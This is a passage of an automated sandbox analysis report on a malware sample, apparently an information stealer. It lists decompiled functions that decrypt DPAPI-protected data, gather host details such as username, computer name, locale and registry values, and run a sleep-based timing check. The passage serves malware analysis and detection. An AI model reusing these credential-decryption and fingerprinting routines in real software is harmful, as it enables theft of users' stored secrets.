Function 00684A80, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000000), ref: 00684ACE
CryptStringToBinaryA.CRYPT32(?,00000000,00000000,00000000), ref: 00684AF6

Strings

UNK, xrefs: 00684B0A

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: BinaryCryptString
String ID: UNK
API String ID: 80407269-448974810
Opcode ID: 6933eaff934019462525ac9f63904068db082611bb120be6f3861f78d51b7ebf
Instruction ID: d0a090f0b1cd674273c245548f2f7fde9a1ef042e24526d1dda1907c525adac6
Opcode Fuzzy Hash: 6933eaff934019462525ac9f63904068db082611bb120be6f3861f78d51b7ebf
Instruction Fuzzy Hash: 7C0196F2A40208BBDB10EB90CC46FDA336CAB04700F104198F704AA1C1DAF0EB448799

Uniqueness

Uniqueness Score: -1.00%

Function 00407510, Relevance: 4.5, APIs: 3, Instructions: 49
memoryencryptionCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00407510(intOrPtr _a4, char _a8, intOrPtr* _a12, long* _a16) {
				void* _v8;
				long _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;

				_v16 = _a4;
				_v20 = _a8;
				_v24 =  *0x41a91c( &_v20, 0, 0, 0, 0, 0,  &_v12);
				if(_v24 != 0) {
					 *_a16 = _v12;
					 *_a12 = LocalAlloc(0x40,  *_a16);
					if( *_a12 != 0) {
						E0040B6C0( *_a12, _v8,  *_a16);
					}
				}
				LocalFree(_v8);
				return _v24;
			}

0x00407519
0x0040751f
0x0040753a
0x00407541
0x00407549
0x0040755c
0x00407564
0x00407576
0x00407576
0x00407564
0x0040757f
0x0040758b

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00407534
LocalAlloc.KERNEL32(00000040,00000000), ref: 00407553
LocalFree.KERNEL32(?), ref: 0040757F

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction ID: 5588d120a004665a6ba361d23f784ce6a241c8210f3f123560cfb33f0262ac2e
Opcode Fuzzy Hash: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction Fuzzy Hash: A711BAB4A01209EFCB04DF94D984EEE77B5FF88300F108569E915A7390D734AE51CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00687760, Relevance: 4.5, APIs: 3, Instructions: 49memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00687784
LocalAlloc.KERNEL32(00000040,00000000), ref: 006877A3
LocalFree.KERNEL32(?), ref: 006877CF

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction ID: 9e0ecd0a2869f55c4926d3cd2a589d4f2129ac00d55bd2ab9f8c04f2772fa107
Opcode Fuzzy Hash: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction Fuzzy Hash: 5B11A5B8A01209EFCB04DF94C984AAEB7B9FF89300F108598F915A7390D734AE51CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACA0, Relevance: 4.5, APIs: 3, Instructions: 19
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ACA0() {
				long _v8;
				void* _v12;

				_v12 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v8 = 0x104;
				GetUserNameA(_v12,  &_v8);
				return _v12;
			}

0x0040acba
0x0040acbd
0x0040accc
0x0040acd8

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00406B14,JohnDoe,?,00406B8D), ref: 0040ACAD
RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040ACB4
GetUserNameA.ADVAPI32(?,00000104), ref: 0040ACCC

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: e9dc6b98a5dfea62f6889e6a1ef584fcd877daf0bb91c9162e28492c9d990377
Instruction ID: d8f7b171ebd5a715f3e42bd651ca7b29b46524e3321307990960babfdc207423
Opcode Fuzzy Hash: e9dc6b98a5dfea62f6889e6a1ef584fcd877daf0bb91c9162e28492c9d990377
Instruction Fuzzy Hash: 68E08CB4901208BBCB00EFE4DE49ACDBBB8AB08302F0040A4EA04E3280D6755A94CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00686CF0, Relevance: 4.5, APIs: 3, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00686CF6
Sleep.KERNEL32(00002710), ref: 00686D04
GetTickCount.KERNEL32 ref: 00686D0A

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: CountTick$Sleep
String ID:
API String ID: 4250438611-0
Opcode ID: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction ID: 4590962e46668a5dd614879795e6605940366253a604076206a8d9e2732fd59a
Opcode Fuzzy Hash: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction Fuzzy Hash: B3E0E635A49109DFD700BFB4EE0D4AC7BB4EF04342F1085B5AC0597250EA7459559B57

Uniqueness

Uniqueness Score: -1.00%

Function 00407190, Relevance: 1.6, APIs: 1, Instructions: 60
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00407190(intOrPtr _a4, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;

				_v8 = E0040B6A0(_a8);
				E0040B6C0(_v8, _a4, _a8);
				_v12 = _a4;
				_v16 = _a8;
				_v28 = E0040B6A0(_a8);
				_push( &_v24);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push( &_v16);
				if( *0x41a91c() == 0) {
					return 0;
				}
				_v32 = 0;
				while(_v32 < _v24) {
					 *((char*)(_v28 + _v32)) =  *((intOrPtr*)(_v20 + _v32));
					_v32 = _v32 + 1;
				}
				 *((char*)(_v28 + _v24)) = 0;
				return _v28;
			}

0x004071a2
0x004071b1
0x004071b9
0x004071bf
0x004071ce
0x004071d4
0x004071d5
0x004071d7
0x004071d9
0x004071db
0x004071dd
0x004071e2
0x004071eb
0x00000000
0x00407229
0x004071ed
0x004071ff
0x00407215
0x004071fc
0x004071fc
0x0040721f
0x00000000

APIs

Part of subcall function 0040B6A0: GetProcessHeap.KERNEL32(00000008,00413650,?,0040B59D,00413650,?,?,00413650,00004098), ref: 0040B6A9
Part of subcall function 0040B6A0: RtlAllocateHeap.NTDLL(00000000,?,0040B59D), ref: 0040B6B0

CryptUnprotectData.CRYPT32(00000003,00000000,00000000,00000000,00000000,00000000,?), ref: 004071E3

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: Heap$AllocateCryptDataProcessUnprotect
String ID:
API String ID: 976466151-0
Opcode ID: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction ID: 8f8f6216897be9d8972c86f868d54cc82cdb6c08760e6d1e730d1f8a7c76b19d
Opcode Fuzzy Hash: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction Fuzzy Hash: 17116DB5D04109EBCF00CFD8D881AAFB7B4AF44304F108569E905AB341D338AA41CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 006873E0, Relevance: 1.6, APIs: 1, Instructions: 60encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 0068B8F0: GetProcessHeap.KERNEL32(00000008,b6i,?,0068B7ED,b6i,00000009,?,00693662,00000009), ref: 0068B8F9
Part of subcall function 0068B8F0: RtlAllocateHeap.NTDLL(00000000,?,0068B7ED), ref: 0068B900

CryptUnprotectData.CRYPT32(00000003,00000000,00000000,00000000,00000000,00000000,?), ref: 00687433

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: Heap$AllocateCryptDataProcessUnprotect
String ID:
API String ID: 976466151-0
Opcode ID: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction ID: d417ee826b0a818febab250ae72254fc014cfac8f1c6e00f48beffd2f7c50d65
Opcode Fuzzy Hash: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction Fuzzy Hash: E7110AB5D04209DFCF00DFA9C881AAEBBB5AF48304F248259E915AB301D734EA41DB95

Uniqueness

Uniqueness Score: -1.00%

Function 004056E0, Relevance: 122.8, APIs: 64, Strings: 6, Instructions: 315stringmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000F423F,?,?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 004056EB
RtlAllocateHeap.NTDLL(00000000,?,004067CA), ref: 004056F2
lstrcat.KERNEL32(?,007E42F8), ref: 00405705
lstrcat.KERNEL32(?,007E4268), ref: 00405716
lstrcat.KERNEL32(?,00418BC0), ref: 00405725
lstrcat.KERNEL32(?,007FA048), ref: 00405736
lstrcat.KERNEL32(?,00418BC4), ref: 00405745
lstrcat.KERNEL32(?,007E5768), ref: 00405756
lstrcat.KERNEL32(?,00418BC0), ref: 00405765
lstrcat.KERNEL32(?,007F9078), ref: 00405776
GetCurrentProcessId.KERNEL32(?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 0040577C

Part of subcall function 0040B950: OpenProcess.KERNEL32(00000410,00000000,004067CA), ref: 0040B964
Part of subcall function 0040B950: GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104), ref: 0040B985
Part of subcall function 0040B950: CloseHandle.KERNEL32(00000000), ref: 0040B98F

lstrcat.KERNEL32(?,00000000), ref: 00405790
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040579F
lstrcat.KERNEL32(007F9168,007F9168), ref: 004057AF

Part of subcall function 0040ACE0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040ACED
Part of subcall function 0040ACE0: RtlAllocateHeap.NTDLL(00000000), ref: 0040ACF4
Part of subcall function 0040ACE0: GetLocalTime.KERNEL32(?,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040AD01
Part of subcall function 0040ACE0: wsprintfA.USER32 ref: 0040AD2E

lstrcat.KERNEL32(00000000,00000000), ref: 004057BF
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004057CE
lstrcat.KERNEL32(007F91E0,007F91E0), ref: 004057DF

Part of subcall function 0040AD40: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AD50
Part of subcall function 0040AD40: RtlAllocateHeap.NTDLL(00000000), ref: 0040AD57
Part of subcall function 0040AD40: GetTimeZoneInformation.KERNEL32(?), ref: 0040AD6A

lstrcat.KERNEL32(00000000,00000000), ref: 004057EF
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004057FE
lstrcat.KERNEL32(007E55C8,007E55C8), ref: 0040580F

Part of subcall function 0040ADC0: GetUserDefaultLocaleName.KERNEL32(?,00000055), ref: 0040ADD2

lstrcat.KERNEL32(00000000,00000000), ref: 0040581F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040582E
lstrcat.KERNEL32(hU~,007E5568), ref: 0040583E

Part of subcall function 0040AE00: GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0040AE10
Part of subcall function 0040AE00: RtlAllocateHeap.NTDLL(00000000), ref: 0040AE17
Part of subcall function 0040AE00: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0040AE38
Part of subcall function 0040AE00: LocalAlloc.KERNEL32(00000040,?), ref: 0040AE50
Part of subcall function 0040AE00: GetKeyboardLayoutList.USER32(?,00000000), ref: 0040AE64
Part of subcall function 0040AE00: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0040AEB9
Part of subcall function 0040AE00: wsprintfA.USER32 ref: 0040AEE2
Part of subcall function 0040AE00: wsprintfA.USER32 ref: 0040AF00
Part of subcall function 0040AE00: memset.NTDLL ref: 0040AF26
Part of subcall function 0040AE00: LocalFree.KERNEL32(00000000), ref: 0040AF3B

lstrcat.KERNEL32(00000000,00000000), ref: 0040584E
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040585D
lstrcat.KERNEL32(007F91F8,007F91F8), ref: 0040586E

Part of subcall function 0040AF50: GetSystemPowerStatus.KERNEL32(?), ref: 0040AF5A

lstrcat.KERNEL32(00000000,00000000), ref: 0040587E
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040588D
lstrcat.KERNEL32(007F9090,007F9090), ref: 0040589E

Part of subcall function 0040AF80: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AF94
Part of subcall function 0040AF80: RtlAllocateHeap.NTDLL(00000000), ref: 0040AF9B
Part of subcall function 0040AF80: RegOpenKeyExA.ADVAPI32(80000002,007FBB30,00000000,00020119,?), ref: 0040AFBB
Part of subcall function 0040AF80: RegQueryValueExA.ADVAPI32(?,007FB190,00000000,00000000,?,000000FF), ref: 0040AFDC
Part of subcall function 0040AF80: RegCloseKey.ADVAPI32(?), ref: 0040AFE6

lstrcat.KERNEL32(00000000,00000000), ref: 004058AE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004058BD
lstrcat.KERNEL32(007F90F0,007F90F0), ref: 004058CD

Part of subcall function 0040B000: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B00D
Part of subcall function 0040B000: RtlAllocateHeap.NTDLL(00000000), ref: 0040B014
Part of subcall function 0040B000: memset.NTDLL ref: 0040B025
Part of subcall function 0040B000: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0040B036
Part of subcall function 0040B000: __aulldiv.LIBCMT ref: 0040B050
Part of subcall function 0040B000: wsprintfA.USER32 ref: 0040B07C

lstrcat.KERNEL32(00000000,00000000), ref: 004058DD
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004058EC
lstrcat.KERNEL32(007F9F88,007F9F88), ref: 004058FD

Part of subcall function 0040B090: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B0A4
Part of subcall function 0040B090: RtlAllocateHeap.NTDLL(00000000), ref: 0040B0AB
Part of subcall function 0040B090: RegOpenKeyExA.ADVAPI32(80000002,007FBCB8,00000000,00020119,?), ref: 0040B0CB
Part of subcall function 0040B090: RegQueryValueExA.ADVAPI32(?,007FC6B0,00000000,00000000,?,000000FF), ref: 0040B0EC
Part of subcall function 0040B090: RegCloseKey.ADVAPI32(?), ref: 0040B0F6

lstrcat.KERNEL32(00000000,00000000), ref: 0040590D
lstrcat.KERNEL32(007F9F68,007F9F68), ref: 0040591E

Part of subcall function 0040B110: GetCurrentProcess.KERNEL32(00000000), ref: 0040B11F
Part of subcall function 0040B110: IsWow64Process.KERNEL32(00000000), ref: 0040B126

lstrcat.KERNEL32(00000000,00000000), ref: 0040592E
lstrcat.KERNEL32(007FA098,007FA098), ref: 0040593F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040594E
lstrcat.KERNEL32(007F8F40,007F8F40), ref: 0040595F
lstrcat.KERNEL32(00000000,00000000), ref: 0040596F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040597E
lstrcat.KERNEL32(hU~,007E56E8), ref: 0040598F

Part of subcall function 0040B180: wsprintfA.USER32 ref: 0040B1DC

lstrcat.KERNEL32(00000000,00000000), ref: 0040599F
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004059AE
lstrcat.KERNEL32(007F8F88,007F8F88), ref: 004059BE

Part of subcall function 0040AC50: GetProcessHeap.KERNEL32(00000000,00000104,?,00406B8D), ref: 0040AC5D
Part of subcall function 0040AC50: RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040AC64
Part of subcall function 0040AC50: GetComputerNameA.KERNEL32(00406B8D,00000104), ref: 0040AC7C

lstrcat.KERNEL32(00000000,00000000), ref: 004059CE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004059DD
lstrcat.KERNEL32(007F8FA0,007F8FA0), ref: 004059EE

Part of subcall function 0040ACA0: GetProcessHeap.KERNEL32(00000000,00000104,00406B14,JohnDoe,?,00406B8D), ref: 0040ACAD
Part of subcall function 0040ACA0: RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040ACB4
Part of subcall function 0040ACA0: GetUserNameA.ADVAPI32(?,00000104), ref: 0040ACCC

lstrcat.KERNEL32(00000000,00000000), ref: 004059FE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A0D
lstrcat.KERNEL32(007F8FB8,007F8FB8), ref: 00405A1E
lstrcat.KERNEL32(00000000,00000000), ref: 00405A2E
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A3D
lstrcat.KERNEL32(007F8FD0,007F8FD0), ref: 00405A4D

Part of subcall function 0040B240: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B254
Part of subcall function 0040B240: RtlAllocateHeap.NTDLL(00000000), ref: 0040B25B
Part of subcall function 0040B240: RegOpenKeyExA.ADVAPI32(80000002,007F9958,00000000,00020119,?), ref: 0040B27B
Part of subcall function 0040B240: RegQueryValueExA.ADVAPI32(?,007FC680,00000000,00000000,?,000000FF), ref: 0040B29C
Part of subcall function 0040B240: RegCloseKey.ADVAPI32(?), ref: 0040B2A6

lstrcat.KERNEL32(00000000,00000000), ref: 00405A5D
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A6C
lstrcat.KERNEL32(007F9FE8,007F9FE8), ref: 00405A7D

Part of subcall function 0040B2C0: GetCurrentHwProfileA.ADVAPI32(?), ref: 0040B2CD
Part of subcall function 0040B2C0: GetProcessHeap.KERNEL32(00000000,00000064), ref: 0040B2DB
Part of subcall function 0040B2C0: RtlAllocateHeap.NTDLL(00000000), ref: 0040B2E2
Part of subcall function 0040B2C0: memset.NTDLL ref: 0040B2F9
Part of subcall function 0040B2C0: lstrcat.KERNEL32(?,?), ref: 0040B30A

lstrcat.KERNEL32(00000000,00000000), ref: 00405A8D
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 00405A9C
lstrcat.KERNEL32(hU~,007E5628), ref: 00405AAD
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405ABC

Part of subcall function 0040B330: RegOpenKeyExA.ADVAPI32(80000002,007E4970,00000000,00020019,00000000), ref: 0040B382

lstrlen.KERNEL32(?,?,?,?,?,?,?,00000104,?,00001388), ref: 00405AD2

Strings

hU~, xrefs: 00405834
hU~, xrefs: 0040583A, 0040598B, 00405AA9, 0040583D, 0040598E, 00405AAC
(V~, xrefs: 00405AA2
hW~, xrefs: 0040574B
V~, xrefs: 00405984
hB~, xrefs: 0040570B

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: lstrcat$Heap$Process$Allocate$Openwsprintf$CloseName$CurrentLocalQueryValuememset$KeyboardLayoutListLocaleStatusTimeUser$AllocComputerDefaultFileFreeGlobalHandleInfoInformationMemoryModulePowerProfileSystemWow64Zone__aulldivlstrlen
String ID: (V~$hB~$hU~$hU~$hW~$V~
API String ID: 1685704716-1130757825
Opcode ID: e218a5e356af2615d6aaa017568bf9cb7d31594a9bde99fdcaaeb157979fca9f
Instruction ID: 30c1e02cd9c5137cb8aca07fd8d84d5d1b54e9b10edc29ade13e80b98b9e1d91
Opcode Fuzzy Hash: e218a5e356af2615d6aaa017568bf9cb7d31594a9bde99fdcaaeb157979fca9f
Instruction Fuzzy Hash: 40C11BBA611504FFCB00DBE4DF89D9E77B9AF4C3457208569B205D3661CB3CAA20DB29

Uniqueness

Uniqueness Score: -1.00%

Function 00685930, Relevance: 121.1, APIs: 64, Strings: 5, Instructions: 315stringmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0068593B
RtlAllocateHeap.NTDLL(00000000), ref: 00685942
lstrcat.KERNEL32(?,0041A6E4), ref: 00685955
lstrcat.KERNEL32(?,hB~), ref: 00685966
lstrcat.KERNEL32(?,00418BC0), ref: 00685975
lstrcat.KERNEL32(?,0041A6C4), ref: 00685986
lstrcat.KERNEL32(?,00418BC4), ref: 00685995
lstrcat.KERNEL32(?,hW~), ref: 006859A6
lstrcat.KERNEL32(?,00418BC0), ref: 006859B5
lstrcat.KERNEL32(?,0041A79C), ref: 006859C6
GetCurrentProcessId.KERNEL32 ref: 006859CC

Part of subcall function 0068BBA0: OpenProcess.KERNEL32(00000410,00000000,?), ref: 0068BBB4
Part of subcall function 0068BBA0: GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104), ref: 0068BBD5
Part of subcall function 0068BBA0: CloseHandle.KERNEL32(00000000), ref: 0068BBDF

lstrcat.KERNEL32(?,00000000), ref: 006859E0
lstrcat.KERNEL32(?,00418BC0), ref: 006859EF
lstrcat.KERNEL32(?,0041A55C), ref: 006859FF

Part of subcall function 0068AF30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00685A0A), ref: 0068AF3D
Part of subcall function 0068AF30: RtlAllocateHeap.NTDLL(00000000), ref: 0068AF44
Part of subcall function 0068AF30: GetLocalTime.KERNEL32(?,?,?,?,?,00685A0A), ref: 0068AF51
Part of subcall function 0068AF30: wsprintfA.USER32 ref: 0068AF7E

lstrcat.KERNEL32(?,00000000), ref: 00685A0F
lstrcat.KERNEL32(?,00418BC4), ref: 00685A1E
lstrcat.KERNEL32(?,0041A044), ref: 00685A2F

Part of subcall function 0068AF90: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0068AFA0
Part of subcall function 0068AF90: RtlAllocateHeap.NTDLL(00000000), ref: 0068AFA7
Part of subcall function 0068AF90: GetTimeZoneInformation.KERNEL32(?), ref: 0068AFBA

lstrcat.KERNEL32(?,00000000), ref: 00685A3F
lstrcat.KERNEL32(?,00418BC0), ref: 00685A4E
lstrcat.KERNEL32(?,0041A0FC), ref: 00685A5F

Part of subcall function 0068B010: GetUserDefaultLocaleName.KERNEL32(?,00000055), ref: 0068B022

lstrcat.KERNEL32(?,00000000), ref: 00685A6F
lstrcat.KERNEL32(?,00418BC4), ref: 00685A7E
lstrcat.KERNEL32(?,hU~), ref: 00685A8E

Part of subcall function 0068B050: GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0068B060
Part of subcall function 0068B050: RtlAllocateHeap.NTDLL(00000000), ref: 0068B067
Part of subcall function 0068B050: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0068B088
Part of subcall function 0068B050: LocalAlloc.KERNEL32(00000040,?), ref: 0068B0A0
Part of subcall function 0068B050: GetKeyboardLayoutList.USER32(?,00000000), ref: 0068B0B4
Part of subcall function 0068B050: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0068B109
Part of subcall function 0068B050: wsprintfA.USER32 ref: 0068B132
Part of subcall function 0068B050: wsprintfA.USER32 ref: 0068B150
Part of subcall function 0068B050: memset.NTDLL ref: 0068B176
Part of subcall function 0068B050: LocalFree.KERNEL32(00000000), ref: 0068B18B

lstrcat.KERNEL32(?,00000000), ref: 00685A9E
lstrcat.KERNEL32(?,00418BC0), ref: 00685AAD
lstrcat.KERNEL32(?,0041A500), ref: 00685ABE

Part of subcall function 0068B1A0: GetSystemPowerStatus.KERNEL32(?), ref: 0068B1AA

lstrcat.KERNEL32(?,00000000), ref: 00685ACE
lstrcat.KERNEL32(?,00418BC4), ref: 00685ADD
lstrcat.KERNEL32(?,0041A164), ref: 00685AEE

Part of subcall function 0068B1D0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0068B1E4
Part of subcall function 0068B1D0: RtlAllocateHeap.NTDLL(00000000), ref: 0068B1EB
Part of subcall function 0068B1D0: RegOpenKeyExA.ADVAPI32(80000002,0041A1A0,00000000,00020119,00685AF9), ref: 0068B20B
Part of subcall function 0068B1D0: RegQueryValueExA.ADVAPI32(00685AF9,0041A5E4,00000000,00000000,?,000000FF), ref: 0068B22C
Part of subcall function 0068B1D0: RegCloseKey.ADVAPI32(00685AF9), ref: 0068B236

lstrcat.KERNEL32(?,00000000), ref: 00685AFE
lstrcat.KERNEL32(?,00418BC4), ref: 00685B0D
lstrcat.KERNEL32(?,0041A580), ref: 00685B1D

Part of subcall function 0068B250: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0068B25D
Part of subcall function 0068B250: RtlAllocateHeap.NTDLL(00000000), ref: 0068B264
Part of subcall function 0068B250: memset.NTDLL ref: 0068B275
Part of subcall function 0068B250: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0068B286
Part of subcall function 0068B250: __aulldiv.LIBCMT ref: 0068B2A0
Part of subcall function 0068B250: wsprintfA.USER32 ref: 0068B2CC

lstrcat.KERNEL32(?,00000000), ref: 00685B2D
lstrcat.KERNEL32(?,00418BC4), ref: 00685B3C
lstrcat.KERNEL32(?,0041A2A8), ref: 00685B4D

Part of subcall function 0068B2E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0068B2F4
Part of subcall function 0068B2E0: RtlAllocateHeap.NTDLL(00000000), ref: 0068B2FB
Part of subcall function 0068B2E0: RegOpenKeyExA.ADVAPI32(80000002,0041A3F4,00000000,00020119,X[h), ref: 0068B31B
Part of subcall function 0068B2E0: RegQueryValueExA.ADVAPI32(X[h,0041A4DC,00000000,00000000,?,000000FF), ref: 0068B33C
Part of subcall function 0068B2E0: RegCloseKey.ADVAPI32(X[h), ref: 0068B346

lstrcat.KERNEL32(?,00000000), ref: 00685B5D
lstrcat.KERNEL32(?,0041A0A8), ref: 00685B6E

Part of subcall function 0068B360: GetCurrentProcess.KERNEL32(00000000), ref: 0068B36F
Part of subcall function 0068B360: IsWow64Process.KERNEL32(00000000), ref: 0068B376

lstrcat.KERNEL32(?,00000000), ref: 00685B7E
lstrcat.KERNEL32(?,0041A10C), ref: 00685B8F
lstrcat.KERNEL32(?,00418BC4), ref: 00685B9E
lstrcat.KERNEL32(?,0041A798), ref: 00685BAF
lstrcat.KERNEL32(?,00000000), ref: 00685BBF
lstrcat.KERNEL32(?,00418BC4), ref: 00685BCE
lstrcat.KERNEL32(?,V~), ref: 00685BDF

Part of subcall function 0068B3D0: wsprintfA.USER32 ref: 0068B42C

lstrcat.KERNEL32(?,00000000), ref: 00685BEF
lstrcat.KERNEL32(?,00418BC0), ref: 00685BFE
lstrcat.KERNEL32(?,0041A75C), ref: 00685C0E

Part of subcall function 0068AEA0: GetProcessHeap.KERNEL32(00000000,00000104,?,00685C19), ref: 0068AEAD
Part of subcall function 0068AEA0: RtlAllocateHeap.NTDLL(00000000,?,00685C19), ref: 0068AEB4
Part of subcall function 0068AEA0: GetComputerNameA.KERNEL32(00685C19,00000104), ref: 0068AECC

lstrcat.KERNEL32(?,00000000), ref: 00685C1E
lstrcat.KERNEL32(?,00418BC4), ref: 00685C2D
lstrcat.KERNEL32(?,0041A4A4), ref: 00685C3E

Part of subcall function 0068AEF0: GetProcessHeap.KERNEL32(00000000,00000104,?,00685C49), ref: 0068AEFD
Part of subcall function 0068AEF0: RtlAllocateHeap.NTDLL(00000000,?,00685C49), ref: 0068AF04
Part of subcall function 0068AEF0: GetUserNameA.ADVAPI32(?,00000104), ref: 0068AF1C

lstrcat.KERNEL32(?,00000000), ref: 00685C4E
lstrcat.KERNEL32(?,00418BC4), ref: 00685C5D
lstrcat.KERNEL32(?,0041A3C0), ref: 00685C6E
lstrcat.KERNEL32(?,00000000), ref: 00685C7E
lstrcat.KERNEL32(?,00418BC4), ref: 00685C8D
lstrcat.KERNEL32(?,0041A6C0), ref: 00685C9D

Part of subcall function 0068B490: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0068B4A4
Part of subcall function 0068B490: RtlAllocateHeap.NTDLL(00000000), ref: 0068B4AB
